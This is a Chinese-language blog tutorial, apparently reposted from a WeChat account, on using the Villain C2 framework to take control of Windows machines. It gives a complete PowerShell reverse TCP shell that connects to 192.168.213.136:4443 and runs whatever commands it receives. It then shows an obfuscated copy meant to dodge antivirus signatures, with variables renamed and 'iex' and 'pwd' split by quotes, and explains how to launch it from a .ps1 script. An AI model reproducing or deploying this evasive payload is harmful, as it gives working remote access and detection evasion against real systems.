Villain C2

admin 2023年12月17日20:29:04评论36 views字数 2794阅读9分18秒阅读模式
简介

Villain是一个C2框架,可以处理多个TCP套接字和套接字。基于 HoaxShell 的反向 shell,通过附加功能(命令、实用程序等)增强其功能,并在连接的同级服务器(在不同计算机上运行的 Villain 实例)之间共享它们。

安装

kali安装:

sudo apt install villain

安装成功之后目录如下:

/usr/share/villain

Villain C2

启动
Villain

Villain C2

使用如下指令来查看有那些载荷:

help generate

Villain C2

使用如下命令生成一个载荷到目标机器上运行:
generate payload=windows/netcat/powershell_reverse_tcp lhost=eth0

运行之后成功上线。

Villain C2

使用sessions命令来查看shell。

Villain C2

然后通过shell命令进入即可。

shell Session ID

Villain C2

但是我们一般拿到的都是cmd的,我们总不能登录到GUI页面去起一个powershell去执行把 不现实。

在这之前需要将生成的payload特征去掉一下:

原始的payload

Start-Process $PSHOMEpowershell.exe -ArgumentList {$client = New-Object System.Net.Sockets.TCPClient('192.168.213.136',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()} -WindowStyle Hidden

这里需要将这些变量都替换成其他字符。

如下:

Start-Process $PSHOMEpowershell.exe -ArgumentList {$bb5ad45b822b465cba19d00f3e84317f = New-Object System.Net.Sockets.TCPClient('192.168.213.136',4443);$db163451899b4c9ea79a8fec1c4ef2f4 = $bb5ad45b822b465cba19d00f3e84317f.GetStream();[byte[]]$f15c3a04fbbc49e39d0d2d9686f5cf21 = 0..65535|%{0};while(($i = $db163451899b4c9ea79a8fec1c4ef2f4.Read($f15c3a04fbbc49e39d0d2d9686f5cf21, 0, $f15c3a04fbbc49e39d0d2d9686f5cf21.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($f15c3a04fbbc49e39d0d2d9686f5cf21,0, $i);$sendback = (ie''x $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pw''d).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$db163451899b4c9ea79a8fec1c4ef2f4.Write($sendbyte,0,$sendbyte.Length);$db163451899b4c9ea79a8fec1c4ef2f4.Flush()};$bb5ad45b822b465cba19d00f3e84317f.Close()} -WindowStyle Hidden

这里可以使用python什么的去生成即可。

替换之后将前面和后面都给他删掉。

改掉之后就变成了:

$bb5ad45b822b465cba19d00f3e84317f = New-Object System.Net.Sockets.TCPClient('192.168.213.136',4443);$db163451899b4c9ea79a8fec1c4ef2f4 = $bb5ad45b822b465cba19d00f3e84317f.GetStream();[byte[]]$f15c3a04fbbc49e39d0d2d9686f5cf21 = 0..65535|%{0};while(($i = $db163451899b4c9ea79a8fec1c4ef2f4.Read($f15c3a04fbbc49e39d0d2d9686f5cf21, 0, $f15c3a04fbbc49e39d0d2d9686f5cf21.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($f15c3a04fbbc49e39d0d2d9686f5cf21,0, $i);$sendback = (ie''x $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pw''d).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$db163451899b4c9ea79a8fec1c4ef2f4.Write($sendbyte,0,$sendbyte.Length);$db163451899b4c9ea79a8fec1c4ef2f4.Flush()};$bb5ad45b822b465cba19d00f3e84317f.Close()

我们尝试去powershell中运行:

Villain C2

可以看到成功上线:

Villain C2

我们将这个文件放到一个.ps1文件中即可。

这里的第一条命令是解决 PowerShell 禁止运行脚本的问题,后面就是我们的生成的payload了。

Villain C2

然后通过如下命令运行:

powershell -File s1.ps1

Villain C2

成功上线:

Villain C2


原文始发于微信公众号(Relay学安全):Villain C2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月17日20:29:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Villain C2https://cn-sec.com/archives/2310697.html

发表评论

匿名网友 填写信息